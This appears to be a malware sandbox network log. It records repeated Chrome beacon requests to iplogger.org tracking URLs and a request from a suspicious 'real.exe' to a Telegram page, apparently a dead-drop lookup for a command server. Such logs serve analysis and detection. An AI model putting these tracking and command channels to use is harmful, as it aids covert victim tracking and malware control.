2022-08-23 01:42:34 UTC	3	IN	Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f Data Ascii: mmhkkegccagdldgiimedpiccmgmieda.crx" fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></
2022-08-23 01:42:34 UTC	4	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49747	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:40 UTC	14	OUT	GET /1ARmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1
2022-08-23 01:42:40 UTC	14	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144331410413575=1; expires=Wed, 23-Aug-2023 01:42:40 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:40 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:40 UTC	14	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49748	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:40 UTC	15	OUT	GET /1AFmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1
2022-08-23 01:42:41 UTC	15	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:40 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:41 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144741410413575=1; expires=Wed, 23-Aug-2023 01:42:41 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:41 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:41 UTC	16	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49749	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:42 UTC	16	OUT	GET /1AJmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1
2022-08-23 01:42:42 UTC	17	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:42 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145021410413575=1; expires=Wed, 23-Aug-2023 01:42:42 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:42 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:42 UTC	17	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49757	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:43 UTC	18	OUT	GET /1AFmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1
2022-08-23 01:42:43 UTC	18	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:43 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144741410413575=1; expires=Wed, 23-Aug-2023 01:42:43 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:43 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:43 UTC	18	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49761	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:43 UTC	19	OUT	GET /1AJmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1
2022-08-23 01:42:43 UTC	19	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:43 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145021410413575=1; expires=Wed, 23-Aug-2023 01:42:43 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:43 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:43 UTC	19	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49754	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:45 UTC	20	OUT	GET /1AKmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1
2022-08-23 01:42:45 UTC	20	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:45 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:45 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145071410413575=1; expires=Wed, 23-Aug-2023 01:42:45 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:45 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:45 UTC	21	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49763	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:49 UTC	21	OUT	GET /1AVmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1
2022-08-23 01:42:49 UTC	22	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:49 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:49 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145381410413575=1; expires=Wed, 23-Aug-2023 01:42:49 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:49 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:49 UTC	22	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49774	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:52 UTC	23	OUT	GET /1AKmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1
2022-08-23 01:42:52 UTC	23	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:52 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:52 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145071410413575=1; expires=Wed, 23-Aug-2023 01:42:52 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:52 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:52 UTC	23	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49780	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:53 UTC	24	OUT	GET /1AVmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1
2022-08-23 01:42:53 UTC	24	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:53 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:53 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145381410413575=1; expires=Wed, 23-Aug-2023 01:42:53 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:53 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:53 UTC	25	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49772	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:53 UTC	25	OUT	GET /1AZmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: clhf03028ja=84.17.52.7; 398144331410413575=1; 398144441410413575=1; 398144251410413575=1; 398144901410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1; 398145381410413575=1
2022-08-23 01:42:53 UTC	26	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:53 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:53 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145181410413575=1; expires=Wed, 23-Aug-2023 01:42:53 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:53 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:53 UTC	26	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49706	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:34 UTC	1	OUT	GET /1ARmX4 HTTP/1.1 Host: iplogger.org Connection: keep-alive sec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2022-08-23 01:42:34 UTC	1	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:34 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:34 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398144331410413575=1; expires=Wed, 23-Aug-2023 01:42:34 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:34 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:34 UTC	2	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49790	148.251.234.83	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:55 UTC	26	OUT	GET /1AZmX4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Host: iplogger.org Cookie: clhf03028ja=84.17.52.7; 398144441410413575=1; 398144901410413575=1; 398144251410413575=1; 398144331410413575=1; 398144741410413575=1; 398145021410413575=1; 398145071410413575=1; 398145381410413575=1
2022-08-23 01:42:55 UTC	27	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Aug 2022 01:42:55 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: clhf03028ja=84.17.52.7; expires=Wed, 23-Aug-2023 01:42:55 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: 398145181410413575=1; expires=Wed, 23-Aug-2023 01:42:55 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Expires: Tue, 23 Aug 2022 01:42:55 +0000 Cache-Control: no-store, no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN
2022-08-23 01:42:55 UTC	27	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49786	149.154.167.99	443	C:\Program Files (x86)\Company\NewProduct\real.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-23 01:42:55 UTC	27	OUT	GET /spmhaus HTTP/1.1 Host: t.me
2022-08-23 01:42:55 UTC	27	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 23 Aug 2022 01:42:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9751 Connection: close Set-Cookie: stel_ssid=22177e7b32353b2f82_18178703640226254829; expires=Wed, 24 Aug 2022 01:42:55 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
